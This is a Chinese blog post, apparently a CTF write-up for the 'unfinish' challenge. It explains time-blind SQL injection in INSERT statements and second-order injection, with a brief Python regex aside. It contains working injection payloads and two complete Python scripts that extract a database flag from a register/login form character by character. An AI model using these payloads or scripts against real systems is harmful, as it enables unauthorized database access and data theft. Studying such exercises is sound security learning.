NineOnee

导航

 

unfinish

知识点

insert into注入

可以采用时间盲注,形如

insert into table_name values('wang','1'and sleep(5) or ''='','hao')

不知道为啥本地实验总失败,但是这题又可以这样进行注入

二次注入

二次注入的原理,在第一次进行数据库插入数据的时候(注册时),仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候(登录后),直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

我们就能构造类似

0'+1+'0

当登录之后若是回显出1,则存在二次注入,我们就可以构造类似

爆出数据库

0'+ascii(substr(database() from 1 for 1)+'0

爆表

0'+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))+'0

列名其他的可以类推

正则

import re
a = "123abc456"
print re.search("([0-9]*)([a-z]*)([0-9]*)",a).group(0)   #123abc456,返回整体
print re.search("([0-9]*)([a-z]*)([0-9]*)",a).group(1)   #123
print re.search("([0-9]*)([a-z]*)([0-9]*)",a).group(2)   #abc
print re.search("([0-9]*)([a-z]*)([0-9]*)",a).group(3)   #456

究其因

  1. 正则表达式中的三组括号把匹配结果分成三组
  • group() 同group(0)就是匹配正则表达式整体结果
  • group(1) 列出第一个括号匹配部分,group(2) 列出第二个括号匹配部分,group(3) 列出第三个括号匹配部分。
  1. 没有匹配成功的,re.search()返回None
  2. 当然郑则表达式中没有括号,group(1)肯定不对了

*表示0次或多次

\r表示匹配原生字符串,如\就仅表示\,但是*和?之类就要加\才能表示字符本身

思路

进去题目页面,浏览全部页面,发现只有一个注册和登录两个界面,登录成功index.php会回显用户名,用bp进行手工fuzz测试,发现注册框框这里username处存在sql注入(登录和注册界面只有这一处存在sql注入),然后进行关键字的fuzz测试,发现过滤了,以及information,构造payload


我们看到明显有时间延迟,然后我们就可以通过构造语句来爆数据库之类的

这里得出有sql注入的结论也可以用Bp的Scanner模块扫一下,一样可以发现有sql注入漏洞,但是它给的那个Payload,可以利用,但是不知道怎么自己进行构造,还是老老实实的用自己的

email=1971535058%40qq.com&username=1' and sleep(5) or ''='&password=admin

值得注意的是,经测试把1换成字母之类或者不就一个空格,payload就不能造成延时了,所以最好还是照上面那要构造语句,爆到表名的时候,爆不出了,因为过滤了information,也没查到怎样过滤,官方wp也有错,评论区都说靠猜,好吧,大佬看到可以指点一下。

编写脚本

import requests
import sys
url='http://220.249.52.133:30147/register.php'
flag=''
#爆数据库sql="1' and (select case when ascii(substr(database() from {0} for 1))={1} then sleep(5) else 1 end) or ''='"
sql="1' and (select case when ascii(substr((select * from flag) from {0} for 1))={1} then sleep(5) else 1 end) or ''='"
for i in range(1,50):
	print('guess:',str(i))
	for ch in range(32,129):
		if ch==128:
			sys.exit(0)
		sqli=sql.format(i,ch)
		data={
			"email":"1971535058@qq.com",
			"username":sqli,
			"password":"admin"
		}
		try:
			html=requests.post(url,data=data,timeout=3)
		except:
			flag+=chr(ch)
			print(flag)
			break

二次注入思路

这里为什么会存在二次注入,我也不晓得。。。但是咱们可以尝试一下有没有二次注入,登录完进去会回显用户名,那么我们猜想这里有二次注入

注册:

email:1971535058@qq.com

username:0'+ascii(substr(database() from 1 for 1))+'0

password:admin

登录进去,回显的是119,然后我们就可以判定这里存在二次注入,注意bp发送时+要进行url编码

这里直接上大佬的脚本

import requests
import re


register_url = '/register.php'
login_url = '/login.php'


for i in range(1, 100):
    register_data = {
        'email': '111@123.com%d' % i,
        'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
        'password': 'admin'
    }
    res = requests.post(url=register_url, data=register_data)

    login_data = {
        'email': '111@123.com%d' % i,
        'password': 'admin'
    }
    res_ = requests.post(url=login_url, data=login_data)
    code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)
    print(chr(int(code.group(1))), end='')
posted on 2020-11-09 23:36  NineOne_E  阅读(336)  评论(0编辑  收藏  举报